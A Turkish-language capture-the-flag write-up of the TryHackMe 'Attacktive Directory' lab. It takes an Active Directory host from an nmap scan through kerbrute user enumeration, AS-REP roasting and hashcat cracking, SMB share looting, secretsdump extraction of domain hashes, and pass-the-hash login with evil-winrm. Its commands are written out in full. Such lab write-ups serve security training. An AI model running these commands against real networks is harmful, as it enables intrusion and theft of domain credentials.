TryHackMe – Attacktive Directory Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Attacktive Directory” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

> nmap -sS -sV 10.10.22.226
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-05 16:19 +03
Nmap scan report for 10.10.22.226
Host is up (0.078s latency).
Not shown: 987 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-06-05 13:19:16Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

2 — “enum4linux” aracı ile makine üzerinde tarama yapıyorum. Tarama sonucu öğrendiğimiz “spookysec.local” domainini de /etc/hosts dosyasına ekliyorum.

> enum4linux 10.10.22.226

*
Domain Name: THM-AD
*

> echo "10.10.22.226 spookysec.local" | tee -a /etc/hosts

3 — Kerbrute aracını kullanarak kullanıcı adı taraması yapıyorum. Tarama sonucunda Admin yetkisindeki bir kaç kullanıcıyı buluyorum. Bu kullanıcı adlarını “user.txt” adında bir dosyaya kaydediyorum.

> kerbrute userenum --dc 10.10.22.226 -d spookysec.local -t 20 userlist.txt

4 — Kaydettiğim kullanıcı adlarını kullanarak Impacket kütüphanesi içindeki GetNPUsers.py betiğini kullanıyorum. Bu betik kullanıcı kimlik bilgilerini elde etmeye yarar.

> python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -no-pass -usersfile user.txt -dc-ip 10.10.22.226 spookysec.local/ -o kerberos_result

5 — Betiği kullandıktan sonra elde ettiğim hashi kırmak için hashcat aracını kullanıyorum. Önceliklle “Kerberos 5 AS-REP” türünün ID’sini öğreniyorum. Daha sonra bize verilen şifreler ile bu hashi kırmaya çalışıyorum.

> hashcat --help | grep "Kerberos"                                                                                 
  19600 | Kerberos 5, etype 17, TGS-REP                              | Network Protocol
  19800 | Kerberos 5, etype 17, Pre-Auth                             | Network Protocol
  28800 | Kerberos 5, etype 17, DB                                   | Network Protocol
  19700 | Kerberos 5, etype 18, TGS-REP                              | Network Protocol
  19900 | Kerberos 5, etype 18, Pre-Auth                             | Network Protocol
  28900 | Kerberos 5, etype 18, DB                                   | Network Protocol
   7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth                      | Network Protocol
  13100 | Kerberos 5, etype 23, TGS-REP                              | Network Protocol
  18200 | Kerberos 5, etype 23, AS-REP                               | Network Protocol

> hashcat -m 18200 kerberos_result passwordlist.txt

6 — svc-admin kullanıcının kimlik bilgilerini kullanarak SMB servisinin içeriğini görüntülüyorum.

smbclient -L \\10.10.22.226 -U svc-admin                                                                         
Password for [WORKGROUP\svc-admin]:

 Sharename       Type      Comment
 ---------       ----      -------
 ADMIN$          Disk      Remote Admin
 backup          Disk      
 C$              Disk      Default share
 IPC$            IPC       Remote IPC
 NETLOGON        Disk      Logon server share 
 SYSVOL          Disk      Logon server share 

7 — “backup” isimli klasöre girip dizinin içeriğini listeliyorum.

> smbclient \\\\10.10.22.226\\backup -U svc-admin

8 — Kimlik bilgilerinin base64 ile şifrelendiğini anlıyorum ve decode ederek açık metni elde ediyorum.

> cat backup_credentials.txt | base64 -d

9 — Etki alanı denetleyicisinden kimlik bilgilerini çekmek için *Impacket* kütüphanesi içerisindeki secrestsdump.py betiğini kullanıyorum.

> python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -just-dc backup@spookysec.local -outputfile secrets_dump
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

10 — Administrator kullanıcısının hashini kullanarak evil-winrm aracı ile makineye bağlanıyorum. Bağlantıktan sonra 3 bayrağı da okuyarak makineyi tamamlıyorum.

> evil-winrm -i 10.10.22.226 -u Administrator -H "HASH"                            

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\svc-admin\Desktop\user.txt.txt
***CENSORED***

*Evil-WinRM* PS C:\Users\Administrator\Documents>  type C:\Users\backup\Desktop\PrivEsc.txt
***CENSORED***

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
***CENSORED***